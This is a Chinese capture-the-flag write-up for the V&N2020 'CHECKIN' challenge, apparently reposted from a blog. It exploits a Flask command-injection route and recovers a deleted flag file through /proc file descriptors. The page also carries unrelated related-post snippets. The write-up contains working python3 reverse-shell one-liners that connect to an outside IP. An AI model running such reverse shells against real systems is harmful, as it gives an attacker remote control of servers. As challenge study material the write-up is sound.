[V&N2020 公开赛]CHECKIN

知识点

  • 反弹shell
  • 文件描述符

WP

进入环境审一下源码:

from flask import Flask, requestimport osapp = Flask(__name__)flag_file = open("flag.txt", "r")# flag = flag_file.read()# flag_file.close()## @app.route('/flag')# def flag():#     return flag## want flag? naive!# You will never find the thing you want:) I think@app.route('/shell')def shell():    os.system("rm -f flag.txt")    exec_cmd = request.args.get('c')    os.system(exec_cmd)    return "1"@app.route('/')def source():    return open("app.py","r").read()if __name__ == "__main__":    app.run(host='0.0.0.0')

主要是这里:

@app.route('/shell')def shell():    os.system("rm -f flag.txt")    exec_cmd = request.args.get('c')    os.system(exec_cmd)    return "1"

我们可以get传参来命令执行,但是会先把flag.txt给删掉。还有一个问题就是os.system命令执行的结果是直接回显到终端的,我们在页面上面看不到,因此这题首先就需要反弹shell。因为这题是python环境,因此正常的反弹shell就是bash,nc,curl和python反弹。经过测试,这题前面三种方式都不行,因此只能python反弹。

但是这题有一个坑,就是没有python这个命令,有的是python3这个命令。自己用python反弹失败后也是没想到试试python3,然后就卡住了,还是太菜了。

python反弹shell的方式我目前知道这两种,经过测试都可以:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('118.***.***.***',39555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

成功反弹过shell后就该思考这题的核心考点了,就是既然已经rm -f了flag.txt,还怎么读到flag呢?

这里考察的是Linux中文件描述符的知识:

什么是文件描述符:内核利用文件描述符来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。

例如Python中,当我们open()函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()函数便是读取文件描述符中的内容,close()函数用于关闭/销毁这个文件描述符。

文件描述符储存在什么地方:/proc/<pid>/fd<id>

因此我们既然有了shell,直接读内存中的flag文件就可以了,但是怎么读这里也是有几种姿势:

方法一:利用lsof命令

用lsof命令来查看所有打开的文件。但是这题没有lsof命令,只能用其他方法。

方法二:python命令行

直接暴力找:

python3 -c "import os;[os.system('cat /proc/' str(i) '/fd/3') for i in range(20)];"或者python3 -c "import os;[os.system('cat /proc/' str(i) '/fd/' str(j)) for i in range(20) for j in range(10)];"

可以成功找到flag。

方法三:利用通配符

这也是我最喜欢的一种方法,利用通配符*,读取内存中所有文件:

cat /proc/*/fd/*

方法四:用手慢慢找

懂得都懂。。。。就有费时间费手。。。

来源:https://www.icode9.com/content-4-788351.html

(0)

相关推荐

  • linux反弹shell的各种姿势

    准备工作 外网服务器103.234.72.5 本地Kali一台,优班图一台 Bash反弹 注意之前使用nc监听端口反弹shell时都会有一个警告:Warning: forward host looku ...

  • Shell:管道与重定向

    转自:TOMORROW 链接:https://reurl.cc/A8vpQE 对shell有一定了解的人都知道,管道和重定向是 Linux 中非常实用的 IPC 机制. 在shell中,我们通常使用符 ...

  • 书法知识大考V‖

    要想学好书法,常识不能少!今天的考试开始! 第六十题:文徵明小楷书法作品的风格特征是什么? 取法"二王",温纯精绝.传世作品有<归去来兮辞><离骚经>等. ...

  • 45岁蒋勤勤穿衣真放得开,一袭深V连衣裙走红毯,身材真有“料”

    对于女明星们来讲,深V领款式的连衣裙是经常会穿搭的单品,这种单品在舞台或红毯上的实用性很强,上身率也非常高,不管是对于身材骨感的女性还是身材丰满的女性都非常友好,身材丰满的女性可以通过深V领的版型穿出 ...

  • 徐帆人到中年仍很靓,一袭小V领礼服优雅浪漫,比年轻时还有韵味

    一袭浅色的礼服,低调而华贵,将徐帆的气质衬托得恰到好处,礼服的设计比较简单,小V领,露出精致光泽的锁骨,脖颈的线条柔美感足够,与肩膀处的线条形成一个很好的衔接,有收腰的设计,将身材的纤细匀称.柔软美丽 ...

  • 工欲善其事,必先利其器。盘点新媒体大V都...

    工欲善其事,必先利其器.盘点新媒体大V都在用的工具,让你省出一半时间!这样的效率一个月不赚3000,5000真的说不过去! 1.同步记录工具 石墨文档,和word文档使用起来差不多.可以手机电脑同步, ...

  • 看完王莫涵的这组粉色深V吊带裙照片,你就知道臂环多么重要!

    提起王莫涵,虽然龙之少年是她的首部影视作品,但是初入戏场的她却毫不胆怯.她纯真清甜而又充满灵气的形象,以及认真的揣摩每一个角色,使得她拍摄的这部影视作品得到了大众人的认可.最近小编收录到一组王莫涵参加 ...

  • v

    ​盛夏饮黄芪人参汤 一般脾胃虚弱的人,由于后天气血生化之源不足,必然导致上焦心肺的气不足.到夏天天气炎热时,太盛的暑热就更加损伤元气,使人困乏倦怠,嗜睡,精神差,四肢无力,两脚萎软不能站立的.早晚气温 ...

  • 【摘要】孙天琦:试析“V+个+VP”结构的句法属性及生成机制 ——兼议汉语的“隐性述补结构”

    "打了个落花流水"一类"V+个+VP"结构是现代汉语中比较特殊的一种结构,关于这类结构的语法性质以及其中"个"的语法地位等问题,以往学界进行 ...

  • 【考前恶补】斯翠海文现开赛指南 - 备战公开赛

    三个月一次的 Arena Open(公开赛)将在北京时间5月8日晚9点开始,这次的赛制是现开赛,第一天可选 BO1 或 BO3 入场,晋级后第二天的赛制为 BO3 第一天的入场费为 22,500 金币 ...

  • 罗振宇的这个方法,人人都成为知识大V

    昨天在得到看到罗胖一个视频,讲的是怎样提升影响力? 看完后深受启发,感觉要是拿这一套方法出来,人人都可以做一个知识大V. 平时看别人写的内容,好有深度怎么懂的那么多,平时只能点赞羡慕,看完罗胖的分享, ...